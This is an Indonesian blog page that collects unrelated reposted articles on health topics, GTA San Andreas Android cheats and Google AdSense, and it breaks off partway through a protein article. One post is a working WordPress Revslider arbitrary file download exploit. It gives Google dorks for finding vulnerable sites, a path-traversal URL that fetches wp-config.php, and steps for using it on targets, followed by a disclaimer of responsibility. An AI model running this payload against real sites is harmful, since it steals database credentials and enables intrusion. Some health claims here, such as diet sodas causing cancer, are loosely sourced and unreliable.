Bayi ini Ternyata Mengandung Bayi Lainnya, Kok Bisa?

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

DokterSehat.Com– Sobat Sehat pernah mendengar kasus bayi yang sudah mengandung, belum? Meski terlihat aneh dan tidak mungkin, pakar kesehatan menyebut hal ini memang benar-benar bisa terjadi meskipun tentu saja kasusnya sangat langka. Belakangan ini, hal ini terjadi di India Utara.

Bayi ini baru saja lahir

Sang bayi dilahirkan oleh seorang ibu bernama Pooja Kumar dengan berat 2,7 Kg. Dengan berat badan yang sebenarnya cukup rendah ini, sang bayi ini ternyata memiliki bayi lain di dalam perutnya dengan berat 0,45 kg. Bayi ini ternyata adalah saudara kembarnya namun sudah meninggal.

Dilansir dari Mirror, Pooja sempat keheranan dengan bentuk tubuh buah hatinya yang memiliki perut membengkak saat lahir. Hanya saja, tim medis yang membantu proses kelahirannya tidak menyangka jika hal ini ternyata disebabkan oleh keberadaan bayi lain di dalam perutnya.

Setelah beberapa hari, sang bayi mengalami pilek dan perut kaku sehingga dilarikan ke rumah sakit yang ada di Sir Sundarlal, India Utara. Saat diperiksa oleh dokter inilah baru diketahui bahwa sang bayi ternyata ‘mengandung’ bayi lainnya.

Dokter pun langsung bergerak cepat menangani hal ini dengan cara melakukan prosedur operasi yang dilakukan selama sekitar 90 menit. Saudara kembar sang bayi pun akhirnya berhasil dikeluarkan dan kini sang bayi berada dalam kondisi sehat. Sementara itu, kondisi bayi yang dikandung memang belum terbentuk sempurna meskipun terlihat jelas sudah ada tangan, kaki, perut, dan tulang belakang.

Penyebab kondisi bayi mengandung

Dalam dunia medis, kasus bayi mengandung ini disebut sebagai fetus in fetu. Kasus ini sangat langka karena hanya terjadi pada 1 dari 500 ribu kelahiran di seluruh dunia. Kasus ini tidak hanya terjadi pada bayi perempuan saja, banyak kasus bayi laki-laki yang ternyata juga mengalaminya.

Kondisi fetus in fetu sendiri bisa dibagi menjadi dua jenis. Jenis pertama adalah yang menempel pada tubuh kembaran lainnya atau dalam dunia medis disebut sebagai external parasitic. Jenis berikutnya adalah internal fetus in fetu yang membuat bayi kembaran justru berada di dalam tubuh bayi yang masih hidup. Kondisi yang kedua inilah yang dialami oleh sang bayi dari India.

Biasanya, proses terbentuknya kondisi fetus in fetu terjadi di fase awal perkembangan janin. Saat itu, di dalam satu embrio sudah ada dua janin kembar. Sayangnya, proses pembelahan dan mekanisme tumbuh kembang janin tidak berlangsung dengan sempurna sehingga membuat salah satu dari bayi kembar ini tidak bisa mengalami pertumbuhan organ yang lengkap sehingga membuatnya menempel atau bahkan masuk ke dalam tubuh saudaranya.

Hanya saja, penyebab pasti dari kondisi ini ternyata masih belum benar-benar diketahui secara medis. Meskipun begitu, terdapat beberapa faktor yang bisa saja mempengaruhi tidak sempurnanya proses pembelahan sel pada saudara kembar di fase awal kehamilan ini seperti usia, ras, kondisi kehamilan, faktor keturunan, asupan nutrisi, faktor hormonal, faktor konsumsi obat-obat tertentu, atau bahkan karena faktor spontan yang tidak diketahui pemicunya.

Dalam beberapa kasus, orang yang mengalami kondisi fetus ini fetu ini bahkan bisa hidup hingga puluhan tahun lamanya. Di Indonesia, ada beberapa kali kasus anak-anak yang memiliki perut buncit yang ternyata sebenarnya ‘mengandung’ saudaranya sendiri dan mengalami gejala seperti sesak napas.

Bahkan, ada kembaran yang sebenarnya sudah bisa dianggap meninggal namun justru ikut menyerap nutrisi dari orang yang mengandungnya sehingga ukurannya semakin membesar. Biasanya, orang dengan kondisi ini harus menjalani pemeriksaan ke dokter atau mendapatkan operasi bedah demi mengeluarkan kembaran parasitnya agar tidak lagi menderita.

Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Artikel bisnis dan investasi

Read More

Susu Ternyata Mengandung Lemak Trans, Berbahayakah?

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

DokterSehat.Com– Lemak trans dikenal luas sebagai penyebab berbagai macam penyakit, khususnya yang terkait dengan pembuluh darah dan jantung seperti obesitas, tekanan darah tinggi, stroke, hingga penyakit jantung koroner. Biasanya, lemak trans bisa ditemukan dalam makanan yang digoreng atau makanan tinggi lemak. Hanya saja, di dalam susu yang sering dianggap sebagai minuman sehat ternyata juga memiliki kandungan lemak trans sekitar 3 hingga 4 persen. Apakah hal ini berarti mengonsumsi susu juga bisa membahayakan kesehatan?

Lemak trans di dalam susu

Pakar kesehatan menyebut lemak trans akan berubah menjadi lemak padat saat diolah oleh sistem pencernaan. Masalahnya adalah lemak padat ini akan terus menumpuk pada pembuluh darah yang kita kenal sebagai kolesterol jahat. Beruntung, menurut pakar kesehatan, lemak trans yang ada di dalam susu ternyata berbeda dibandingkan dengan lemak trans yang bisa kita temukan pada gorengan atau makanan olahan. Perbedaannya ada di komposisinya dan hal ini akan berpengaruh besar bagi kesehatan tubuh.

Sebagai informasi, lemak trans di dalam susu adalah asam lemak biohidrogenasi dengan rantai karbon ganjil. Asam lemak ini sangat berbeda dengan lemak trans pada gorengan atau margarin yang memiliki rantai karbon genap dan bisa menyebabkan penyakit kardiovaskular. Justru, asam lemak trans pada susu bisa membantu kita mencegah berbagai macam penyakit tidak menular.

Keberadaan asam lemak pada susu ini berasal dari enzim bakteri yang berasal dari saluran pencernaan hewan ternak. Hal ini berbeda dengan asam lemak trans pada makanan olahan yang melalui proses penambahan atom hydrogen. Karena alasan inilah lemak trans pada susu justru mampu menurunkan kadar kolesterol jahat dan meningkatkan kadar kolesterol baik. Selain itu, minum susu juga bisa membantu menurunkan tekanan darah dan risiko diabetes.

Manfaat lain lemak di dalam susu

Selain membantu menyehatkan jantung dan pembuluh darah, pakar kesehatan menyebut kandungan lemak di dalam susu bisa memberikan manfaat kesehatan lainnya.

Berikut adalah manfaat-manfaat kesehatan tersebut.

1. Membantu proses penyerapan mineral

Di dalam susu terdapat mineral seperti kalsium yang baik bagi kesehatan tulang dan magnesium dan fosfor. Hanya saja, jika di dalam susu tidak ada kandungan lemaknya, maka tubuh akan kesulitan untuk mencerna kandungan mineral ini dengan maksimal.

2. Bisa dijadikan cadangan energi

Keberadaan lemak di dalam susu ternyata bisa dijadikan cadangan energi saat tubuh tiba-tiba membutuhkan sumber energi namun tidak mendapatkan asupan karena belum berada di jam makan atau karena alasan lainnya.

3. Baik bagi kesehatan otak

Lemak di dalam susu ternyata juga bisa memberikan manfaat kesehatan bagi otak, khususnya dalam mendukung kinerja kognitifinya. Hal ini akan membantu kita untuk berpikir dengan lebih jernih, berkonsentrasi dengan lebih baik, dan bisa mengembangkan kreativitas.

Melihat fakta-fakta yang diungkapkan oleh pakar kesehatan ini, kita bisa menyimpulkan bahwa lemak trans di dalam susu aman untuk dikonsumsi sehingga kita pun tidak perlu khawatir untuk meminumnya setiap hari. Hanya saja, kita juga tidak bisa mengonsumsi lemak trans dengan sembarangan. Jika kita minum susu terlalu banyak, maka asupan lemak juga akan berlebihan sehingga bisa memberikan efek kurang baik bagi kesehatan.

Minum susu satu atau dua kali dalam sehari dianggap sudah cukup untuk memberikan manfaat kesehatan. Selain itu, kita sebaiknya juga mengimbanginya dengan makanan berserat seperti sayur dan buah yang bisa membantu menjaga kadar lemak di dalam tubuh dan membuat berat badan tetap ideal.

Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Artikel bisnis dan investasi

Read More

Exploit Wordpress Revslider Arbritary File Download Vulnerability

Naufal Ardhani - Halo sobat kali ini saya akan membahas Exploit Wordpress Revslider Arbritary File Download pada exploit ini anda dapat mendownload file file penting yang ada di dalam server web tersebut khususnya web yang menggunakan cms Wordpress tapi tidak semua web yang menggunakan cms tersebut rentan dengan exploit ini.

Menurut hasil yang saya dapatkan dari Exploit DB exploit ini ditemukan oleh Claudio Viviani pada tahun 2014, ia merupakan pemilik blog https://www.homelab.it/ yang berisi tentang security.

Dork :

• inurl:wp-content/plugins/revslider/
• inurl:revslider
• inurl:revslider_admin.php
• inurl:revslider_front.php
• inurl:plugins/revslider/
• intext:Powered by Revslider
• intitle:"Index Of/ revslider"
• intitle:"Index Of/wp-content/themes/revslider"
• intitle:"Index Of/wp-content/plugins/revslider"
• intitle:"Index Of/admin/revslider"
• intitle:"Index Of/fr/revslider"
• intitle:"Index Of/en/revslider"
• intitle:"Index Of/us/revslider"
• intitle:"Index Of/ar/revslider"
• intitle:"Index Of/es/revslider"
• intitle:"Index Of/de/revslider"

Exploit :

• /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Step :

1. Dorking dengan dork yang sudah disediakan.
2. Disini saya sudah memiliki target yang vuln/rentan tinggal kasih exploit, contoh : http://site.co.id/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
3. Dan jika berhasil admin-ajax.php terdownload lalu buka dengan text editor.

Sekian saja Exploit Wordpress Revslider Arbitary File Download Vulnerability yang saya bagikan semoga bermanfaat dan saya tidak bertanggung atas apa yang anda lakukan terimakasih.

Read More

Cara Memasang Cheat GTA SA Android

Hi sobat semua ketemu lagi nih sama admin, bicara tentang game gta san andreas tentu ada banyak sekali yang dapat di lakukan, apalagi game ini merupakan game open world yang mana kita bisa melakukan apa yang kita mau, pergi kemanapun, dan bahkan sampai mencari misteri-misteri di game gta itu sendiri.

Seperti itulah tentang game open word, lalu bagaimana dengan misi-misi dalam gta san andreas, banyak gamer bilang bahwa untuk menamatkan game gta san andreas membutuhkan waktu yang lama karena belum tentu dalam misi tertentu kita langsung berhasil, bahka kita harus mengulang beberapa kali untuk berhasil. Sebenarnya untuk menamatkan game ini tidak membutuhkan waktu lama dengan adanya cheat, tetapi masih bayak player gta san andreas yang belum tau cara memasangnya.

Sesuai judul di atas kali ini admin aka menjelaskan cara memasang chaet gta san andreas. Untuk memasangnya ada beberapa cara yaitu dengan root dan tanpa root, disini admin akan menjelaskna keduanya.

Cara Memasang Cheat GTA SA Android

Cara memasang cheat gta san andreas tanpa root

Untuk memasang cheat gta san andreas ada beberapa langkah, admin akan jelaskan sejelas mungkin jadi silahkan simak dengan baik.

• Silahkan kalian download bahan-bahan yang dibutuhkan dibawah ini,  

1. APK gta sa 1.08 mod.
2. Script cheat gta sa

• Setelah di download silahkan kalian install apk tersebut, tetapi sebelumnya ubah nama folder com.rockstargame.gtasa yang berisi file OBB menjadi com.rockstargame.gtasaMOD supaya saat install apk tidak terjadi error. Letak folder di penyimpanan / android / obb.

Sumber : sebuahtrik.blogspot.com

• Setelah selesai menginstall apk, silahkan ubah nama folder sesuai semula tadi, menjadi com.rockstargame.gtasa.

Sumber : Sebuahtrik.blogspot.com

• Setelah selesai kemudian extract file script gta sa dan pindahkan datanya ke penyimpanan / android / data / com.rockstargame.gtasa / disini.

Sumber : sebuahtrik.blogspot.com

Nah seperti itu cara memasang tanpa harus root smartphone kita, untuk cara memasang cheat dengan root, kalian bisa membaca penjelasan di bawah ini.

Cara memasang cheat gta san andreas dengan root.

Untuk memasang script cheat gta sa dengan root sebenarya lebih ribet, karena buat kalian yang memiliki smartphone masih dalam keadaan original, kalian harus melakukan rooting terlebih dahulu, dan juga dalam proses root ada banyak resiko yang harus kalian tanggung, kemungkinan paling parahnya ketika rooting gagal, smartphone kalian bisa bootloop atau cuma loading sampai logo aja.

Admin tidak merekomendasikan cara ini, tetapi buat kalian yang penasaran dan tetap ingin menggunakan cara ini, kalian bisa mebaca langkah-langkah di bawah ini.

• Langkah pertama yang harus kalian persiapkan adalah yang saya tuliskan di bawah, buat kalian yang belum mempunyai aplikasi cleo dan sript cheat, silahkan kalian download melalui link yang sudah saya sediakan di bawah.

1. Smartphone yang sudah di root.
2. Aplikasi CLEO.
3. Script cheat.

• Setelah kalian persiapkan bahan, langkah selanjutnya adalah kalian install aplikasi CLEO dan setelah terinstall berikan izin untuk akses root. 

• Buka aplikasi CLEO > pilih gta sa > install. 

• Setelah selesai, extract script dan pindahkan ke penyimpanan / android / data / com.rockstargame.gtasa / disini.

Sumber : sebuahtrik.blogspot.com

• Setelah proses pemindahan selesai, buka aplikasi CLEO > pilih script > pilih script mana yang mau kalian install.

Sepeti itu cara memasang script dengan menggunakan root, untuk cara pengunaan silahkan simak penjelasan saya di bawah.

Cara Menggunakan Cheat GTA SA Android

Cara menggunakannya sebenarnya cukup mudah, silahkan kalian buka game gta san andreas terlebih dahulu, setelah masuk dalam game silahkan usap layar sobat dari atas kebawah maka pemilihan cheat.

 Left-right untuk menggeser kekiri dan kanan, dan up-down untuk memindah ke atas atau kebawah, sedangkan untuk mengaktifkanya tekan tengah-tengah layar.

Nah sekian penjelasan tentang cara memasang cheat gta sa android, misalkan ada yang kurang jelas kalian bisa meninggalkan komentar di bawah.

Read More

Cara Add Site Blogspot di Google Adsense

Hi sobat semua, bicara tentang google adsense, akhir-akhir ini memang sedikit ramai di kalangan blogger, apalagi membahas tentang fitur baru di google adsense yaitu add site review, fitur baru ini mengaharuskan para pulisher yang ingin memasang iklan di blog baru, melalukan proses review dulu oleh google, mungkin ini merupakan cara google untuk meningkatkan kualitas para publisernya.

Beda halnya pada akun adsense yang dulu sebelum adanya fitur add site, setiap kalian yang sudah memiliki akun google adsense, kalian bisa memasang iklan di blog manapun yang kalian mau meskipun blog itu tidak memenuhi syarat TOS google.

Akhir-akhir ini admin melihat bayak para blogger menayakan, gimana sih cara menambahkan blogspot di add site review, karena selalu tidak bisa dan hanya muncul tulisan buka partner host untuk menambahkan situs ini ke adsense.

Sumber : google adsense

Cara Add Site Blogspot di Google Adsense

Oke sob, untuk solusinya seperti ini, jadi untuk menambahkan blogspot tidak melalui add site google adsense, tetapi langsung melalui blogger, karena fitur add site tersebut hanya di tujukan untuk domain-domain TLD seperti .com, .net, .id dll.

• Untuk langkah-langkahnya, pertama kalian buka terlebih dahulu blogger kalian, kemudian pilih bagian earnings.

Sumber : Blogger

• Kemudian nanti ada menu login to google adsense, silahkan kalian pilih, dan nanti kalian akan di arahkan untuk login ke akun google adsense kalian. Kok gambar di atas gak ada menu login to google adsense min? , karna contoh di atas saya menggunakan blog baru.

• Setelah itu akan muncul tampilan seperti ini.

Sumber : Blogger

• Setelah itu silahkan kalian pilih akun adsense kalian, kemudian google akan mulai melakukan review blog kalian, pengalaman admin dalam waktu 1 x 24 jam kalian akan sudah menerima hasilnya, apakah blog kalian di terima atau tidak itu tergantung dari konten kalian.

Nah seperti itu cara add site blogspot di google adsense, misalkan ada penjelasan saya admin yang kurang jelas, kalian bisa meninggalkan komentar di bawah.

Read More

Makanan Manis Sebabkan Diare?

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

Photo Source: Flickr/jonathanmcintosh

DokterSehat.Com– Apa yang kita makan akan berpengaruh besar pada sistem pencernaan kita. Sebagai contoh, jika kita mengonsumsi makanan yang sangat pedas, maka kita akan lebih rentan mengalami sakit perut atau diare. Hanya saja, jika kita terlalu sering mengonsumsi makanan manis, dampak yang akan dialami juga sama, yakni memicu diare. Sebenarnya, bagaimana bisa makanan manis mampu menyebabkan dampak ini.

Dampak mengonsumsi makanan manis.

Menurut sebuah penelitian, mengonsumsi makanan manis, khususnya yang memiliki kandungan pemanis buatan akan mempengaruhi cairan di dalam usus dan kondisi kotoran. Hal inilah yang akhirnya menyebabkan diare. Sebagai informasi, beberapa jenis pemanis buatan seperti sorbitol atau mannitol, kandungan yang bisa ditemukan di dalam permen karet atau beberapa jenis produk yang diklaim bebas gula ternyata memang bisa memicu diare.

Selain itu, jika di dalam makanan manis yang kita konsumsi memiliki kandungan laktosa dan kita termasuk dalam orang yang mengalami intoleransi laktosa, maka kita pun akan lebih rentan untuk terkena diare.

Meskipun begitu, pakar kesehatan menyebutkan bahwa diare seringkali terkait dengan virus, bakteri, atau adanya parasit yang berasal dari makanan atau minuman yang kita konsumsi. Karena alasan inilah kita memang sebaiknya selalu memperhatikan kehigienisan makanan atau minuman sebelum mengonsumsinya.

Makanan yang sebaiknya dihindari saat diare menyerang

Selain tidak sembarangan dalam mengonsumsi makanan manis atau makanan pedas, pakar kesehatan menyarankan kita untuk menghindari beberapa jenis makanan atau minuman saat diare agar penyakit ini tidak menjadi semakin parah.

Berikut adalah beberapa makanan dan minuman yang sebaiknya kita hindari.

1. Kopi

Kopi memiliki kandungan kafein yang bersifat diuretik dan pencahar. Hal ini berarti, mengonsumsinya akan menyebabkan kontraksi pada usus dan akhirnya membuat aktivitas buang air besar berlangsung dengan lebih parah. Selain itu, kandungan asam di dalam kopi juga bisa membuat produksi empedu meningkat dengan signifikan, kondisi yang bisa membuat diare menjadi lebih parah.

2. Produk susu

Sebagaimana disebutkan sebelumnya, di dalam produk susu memiliki kandungan laktosa. Padahal, banyak orang di Indonesia yang mengalami intoleransi laktosa yang bisa saja menyebabkan gejala diare. Jika kita termasuk dalam orang yang memiliki kondisi ini, ada baiknya menghindari produk susu saat terkena diare agar kondisi ini tidak menjadi semakin parah.

3. Buah jeruk

Meskipun tinggi serat dan vitamin C, jeruk bisa jadi kurang baik untuk dikonsumsi saat diare menyerang karena bisa memiliki sifat asam yang bisa membuat produksi asam lambung naik. Kita pun akan lebih rentan terkena gejala mual-mual atau sensasi tidak nyaman pada perut.

4. 4. Alkohol

Minuman beralkohol bisa menyebabkan kontraksi usus berlangsung dengan lebih cepat dan akhirnya membuat gejala diare menjadi semakin parah. Saat kita berada dalam kondisi sehat pun sebaiknya tidak mengonsumsi minuman ini karena dampaknya sangat berbahaya bagi kesehatan tubuh.

5. Keripik kentang

Keripik kentang dan beberapa jenis produk makanan olahan memiliki kandungan olestra yang bisa membuat gejala diare seperti frekuensi buang air besar meningkat dengan signifikan.

6. Daging merah

Daging merah seperti daging sapi atau daging kambing memang sangat nikmat untuk dikonsumsi. Sayangnya, makanan ini sangat sulit dicerna oleh saluran pencernaan dan akhirnya membuat gejala diare menjadi semakin parah. Selain itu, kandungan di dalam daging merah juga bisa menyebabkan peradangan pada tubuh yang tentu akan membuat diare semakin memburuk.

7. Brokoli

Meskipun tinggi serat, brokoli, kubis, serta kembang kol memiliki kandungan karbohidrat kompleks yang ternyata sulit dicerna oleh usus dan akhirnya membuat diare menjadi semakin parah.

Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Artikel bisnis dan investasi

Read More

Bahaya Melakukan Seks Oral dengan Sembrono dan Tanpa Pengaman

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

DokterSehat.Com – Dari berbagai jenis seks yang dilakukan oleh pasangan, seks oral selalu dianggap yang paling aman. Dengan melakukan seks oral saja, seseorang tidak akan mengalami penularan penyakit atau mendapatkan masalah serius lainnya. Benarkah demikian?

Sebenarnya apa pun jenis seks yang dilakukan tetaplah berisiko. Bahkan hal-hal yang kita anggap biasa ternyata bisa menyebabkan masalah yang besar. Itulah kenapa kita tidak disarankan untuk melakukan seks dengan sembrono dan tanpa pengaman.

Kesalahan yang dilakukan saat melakukan seks oral

Ada banyak kesalahan yang sering dilakukan oleh seseorang saat melakukan seks oral. Berikut beberapa contoh kesalahan itu.

1. Tidak membersihkan area kemaluan dahulu

Selalu mandi dengan bersih dan ajak pasangan melakukannya juga. Kemaluan harus bersih dan tidak ada sisa kotoran. Kalau sampai ada sisa kotoran, kemungkinan terjadi penularan penyakit akan besar. Selain itu apa yang dirasakan saat bercinta juga tidak nikmat.

2. Tidak menggunakan kondom

Kondom adalah hal wajib yang harus dipasangkan ke penis kalau seks oral ingin dilakukan. Anda wajib melakukan hal ini kalau melakukannya tidak dengan pasangan resmi. Kalau dengan pasangan resmi, tidak menggunakan tidak masalah asal sama-sama tahu kondisi kesehatan masing-masing.

Kalau ingin menggunakan kondom, lebih baik menggunakan kondom yang benar. Gunakan kondom yang memiliki rasa atau kalau memang benar-benar tidak ada bisa menggunakan kondom biasa.

3. Mendorong penis ke mulut seperti penetrasi

Saat pasangan melakukan seks oral ke penis jangan mendorong penis ke dalam. Kalau mendorongnya terlalu kuat, pasangan bisa saja tersedak. Aturan ini wajib diperhatikan kalau Anda memiliki penis yang ukurannya cukup panjang.

Nikmati saja apa yang dilakukan oleh pasangan. Kalau terasa ngilu dan tidak kuat pegang kepala pasangan untuk menghentikannya sementara waktu.

4. Ejakulasi di dalam mulut

Meski pasangan memintanya, lebih baik jangan melakukan ejakulasi di dalam mulut. Air mani yang keluar tidak hanya mengandung sperma saja. Air mani juga ada kotoran dan bibit penyakit.

5. Seks oral yang terlalu intens

Lakukan seks oral dengan biasa saja. Melakukannya dengan terlalu intens bisa melukai penis atau vagina. Gigi bisa saja mengenai kemaluan sehingga tidak sengaja tergigit. Anda boleh melakukan agak cepat asal kontrol bisa dilakukan dengan baik.

6. Seks oral setelah penetrasi

Setelah penetrasi jangan langsung melakukan seka oral. Lebih baik penis dicuci terlebih dahulu. Ke kamar mandi sebentar atau gunakan tisu basah. Langsung melakukan seks oral akan membuat mulut jadi kotor.

7. Tidak mengecek kemaluan pasangan

Kesalahan terakhir ini cukup fatal karena bisa menyebabkan banyak masalah. Luka di kemaluan bisa jadi tanpa penyakit menular. Oleh karena itu, sebelum memberikan seks oral ada baiknya untuk mengecek ada tidaknya luka. Kalau ada luka lebih baik menggunakan kondom.

Menyiasati seks oral yang kadang tidak nyaman

Salah satu alasan yang membuat wanita menjadi ogah-ogahan memberikan seks oral dengan kondom adalah rasanya. Rasa kondom yang masuk ke mulut jadi seperti karet. Agar masalah ini tidak terjadi, simak beberapa hal di bawah ini.

• Pilih kondom yang benar. Sejatinya ada dua jenis kondom yang ada di luaran sana. Pertama, kondom jenis rasa dan tidak. Kondom tidak memiliki rasa inilah yang digunakan untuk penetrasi. Sementara itu kondom ada rasanya digunakan untuk seks oral.
• Setelah tahu jenis kondom yang digunakan, ada baiknya untuk memilih rasa yang sesuai. Beli yang rasa buah, permen karet, atau mint.
• Pastikan untuk tidak menggigit kondom. Hanya gunakan lidah dan bibir saat melakukan seks oral.
• Aroma dan rasa dari kondom memang mudah habis. Oleh karena itu ada baiknya untuk rutin mengganti meski belum ejakulasi atau kotor.
• Lakukan perlahan saja dan jangan tergesa-gesa. Kalau melakukan seks oral terlalu cepat, ada kemungkinan penis atau vagina mengalami luka.
• Pertimbangkan kemampuan dari mulut untuk melakukan seks oral. Seks jenis itu tidak sama dengan penetrasi atau memasukkan semua penis. Wanita tidak perlu terobsesi memasukkan semua penis karena bisa memicu tersedak.
• Pada pria, lakukan seks oral dengan tidak terobsesi memasukkan lidah atau menggigit area klitoris. Cukup mainkan lidah dan bibir di area vulva dengan merata.
• Selalu lakukan komunikasi dengan pasangan terkait dengan rasa yang didapatkan. Terkadang rasa yang didapatkan ada sakit, nyeri, dan perih. Kalau tidak nyaman atau merasa kurang nikmat, segera bilang pada pasangan.

Seks oral pada wanita

Seks oral selama ini selalu identik dengan pria. Dibandingkan dengan wanita, pria lebih sering mendapatkan seks oral dari pasangan. Bahkan, hampir di setiap aktivitas seks, oral selalu diberikan untuk pemanasan.

Meski seks oral pada wanita cukup jarang, tidak ada salahnya untuk memberikannya. Beberapa pria juga menikmati aktivitas ini meski tidak semuanya dilakukan dengan benar seperti menambahkan pengaman.

Seks oral yang pria berikan pada wanita tetap berisiko tularkan penyakit menular seksual. Oleh karena itu pria disarankan menggunakan dental dam agar lidah, bibir, dan gigi tidak memiliki kontak langsung dengan vagina.

Dental dam bisa dibeli di pasaran atau secara online. Kalau alat ini tidak ada, Anda bisa menggunting kondom tanpa pelumas menjadi bentuk segi empat. Selanjutnya gunakan untuk melakukan seks oral dengan aman. Oh ya, di balik bagian yang digunakan, Anda bisa menambahkan pelumas agar lebih licin.

Demikianlah sedikit ulasan tentang seks oral yang harus dilakukan dengan aman. Kalau Anda tidak bisa melakukan seks oral dengan aman, ada kemungkinan terjadi gangguan pada tubuh seperti penularan penyakit menular seksual.

Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Artikel bisnis dan investasi

Read More

Sering Kita Konsumsi, Minuman Ini Bisa Memicu Kanker

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

Photo Source: Flickr/nucastiel

DokterSehat.Com– Terdapat banyak sekali pemicu dari datangnya kanker. Salah satunya adalah makanan atau minuman. Sebagai contoh, jika kita terlalu sering mengonsumsi makanan yang dibakar, makanan olahan, atau makanan yang memiliki bahan pengawet, risiko untuk terkena kanker juga akan meningkat.

Beberapa minuman yang juga bisa menyebabkan kanker

Selain makanan, beberapa jenis minuman yang sayangnya sering kita konsumsi ternyata juga bisa menyebabkan datangnya kanker.

Berikut adalah beberapa minuman tersebut.

1. Minuman beralkohol

Banyak orang yang menjadikan minuman beralkohol sebagai minuman yang sering dikonsumsi saat berkumpul bersama dengan teman-teman. Masalahnya adalah terlalu sering mengonsumsinya bisa menyebabkan efek kesehatan yang tidak bisa disepelekan, termasuk dalam hal menyebabkan kanker.

Berdasarkan hasil dari beberapa jenis penelitian, dihasilkan fakta bahwa sering mengonsumsinya bisa meningkatkan risiko terkena beberapa jenis kanker, yakni kanker kerongkongan, kanker lambung, kanker hati, kanker usus, dan kanker payudara. Bahkan, meskipun beberapa jenis minuman beralkohol seperti anggur merah memiliki kandungan antioksidan, tetap saja minuman ini juga memiliki kandungan etanol yang terkait dengan kanker.

Pusat Pencegahan dan Pengendalian Penyakit Amerika Serikat (CDC) menyarankan kita untuk membatasi asupan minuman beralkohol maksimal 1 gelas saja setiap hari bagi wanita dan 2 gelas saja bagi pria.

2. Minuman berenergi

Minuman berenergi sering dikonsumsi oleh mereka yang memiliki pekerjaan yang menuntut energi besar. Sebagai contoh, banyak supir kendaraan antar kota atau antar provinsi yang mengonsumsinya agar tidak mudah lelah. Meskipun bermanfaat, pakar kesehatan menyebut minuman berenergi jika dikonsumsi terlalu sering juga bisa memicu kerusakan pada tubuh.

Minuman berenergi tinggi kandungan gula, kafein, dan pewarna buatan. Meminumnya akan membuat tubuh mengalami peningkatan tekanan darah dan gula darah dalam waktu yang sama. Hal ini ternyata bisa menyebabkan dampak buruk bagi kesehatan jantung dan pembuluh darah. Selain itu, sering meminumnya juga akan menyebabkan risiko kanker meningkat dengan signifikan.

3. Minuman bersoda

Minuman bersoda sangatlah nikmat untuk dikonsumsi, khususnya saat suhu udara sedang sangat panas. Sayangnya, minuman ini juga kaya akan kandungan gula, kafein, dan berbagai bahan lain seperti pewarna buatan. Sebagai contoh, di dalam minuman kola terdapat pewarna yang membuatnya memiliki warna cokelat bernama 4-Mel. Sayangnya, bahan ini bersifat karsinogen atau bisa menyebabkan datangnya kanker.

Bahkan, meskipun kita mengonsumsi soda diet yang diklaim rendah gula, kita sebenarnya masih mengonsumsi jenis gula lainnya seperti sakarin, aspartame, dan sukralosa. Kandungan ini bisa mengacaukan sistem metabolisme tubuh sehingga akhirnya menyebabkan diabetes, penyakit jantung, dan kanker.

4. Minuman yang masih sangat panas

Berhati-hatilah jika kita cenderung suka mengonsumsi minuman yang masih dalam kondisi panas. Bahkan, meskipun minuman ini adalah kopi atau teh yang sering dianggap sebagai minuman sehat. Minuman panas ternyata bisa memicu kanker tenggorokan. Karena alasan inilah pakar kesehatan menyarankan kita untuk menunggu minuman ini menjadi lebih dingin atau setidaknya memiliki suhu sekitar 65 derajat Celcius saja agar lebih aman untuk dikonsumsi.

5. Kopi

Kopi memang kaya akan kandungan menyehatkan, namun jika kita terlalu sering mengonsumsi kopi instan atau kopi yang diberi tambahan lain seperti gula, krim, sirup, caramel, atau krim kocok, maka kita akan lebih rentan terkena masalah kesehatan, termasuk kanker.

6. Minuman dengan kemasan plastik

Berhati-hatilah dalam memilih minuman yang dikemas dalam botol plastik. Jika botol yang digunakan masih memiliki kandungan bisphenol-A, maka risiko untuk terkena beberapa jenis kanker seperti kanker prostat, kanker payudara, dan masalah metabolisme lainnya akan meningkat.

Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Artikel bisnis dan investasi

Read More

11 Makanan yang Mengandung Protein, Banyak dan Mudah Ditemukan

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

DokterSehat.Com – Tubuh memerlukan beberapa jenis zat gizi agar dapat menjalankan fungsinya dengan baik. Salah satu zat gizi yang penting adalah protein. Yuk, ketahui beberapa makanan yang mengandung protein agar Anda tahu dan bisa mencukupi kebutuhan protein harian.

Baca terus untuk mengetahui apa itu protein, fungsi utama protein, jenis-jenis protein, dan beberapa contoh makanan yang mengandung protein.

Apa Itu Protein?

Sebelum jauh membahas tentang makanan mengandung protein, sebaiknya Anda ketahui lagi apa itu protein. Protein adalah salah satu contoh zat gizi makro yang terbentuk dari beberapa unsur, yaitu unsur karbon(C), hidrogen(H), oksigen(O), dan nitrogen(N).

Selain dari unsur-unsur utama pembentuk protein, terkadang protein juga dibentuk dari tambahan zat seperti belerang dan fosfor. Protein seharusnya mudah dicukupi kebutuhannya karena ada banyak makanan yang mengandung protein.

Fungsi Utama Protein

Serupa dengan zat-zat gizi makro lainnya, protein pun memiliki banyak fungsi. Salah satu fungsi protein adalah untuk membantu pertumbuhan sel-sel. Fungsi tersebut merupakan fungsi utama protein yang paling penting.

Hal ini membuat protein merupakan zat gizi yang memiliki peran penting terhadap masa pertumbuhan dan masa sakit. Mengapa demikian? Ini dikarenakan protein bisa membantu pembentukan dan pergantian sel-sel tubuh yang sedang bertumbuh atau yang sedang rusak karena sakit.

Jenis-Jenis Protein

Zat gizi protein yang ada di dunia ini tidak hanya tersedia dalam satu jenis saja. Protein terbagi menjadi dua jenis berdasarkan asal sumber makanannya. Jadi, makanan yang mengandung protein terdiri dari 2 kategori protein yang berbeda.

Berikut ini adalah dua jenis protein berdasarkan asal sumber makanannya:

1. Protein Hewani

